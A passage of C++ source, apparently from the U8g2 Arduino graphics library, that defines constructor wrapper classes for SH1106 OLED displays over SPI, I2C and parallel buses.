reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_2_6800 : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_2_8080 : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_F_6800 : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_F_8080 : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_F_6800 : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_F_8080 : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_F_6800 : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_F_8080 : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_72X40_WISE_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_72X40_WISE_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = 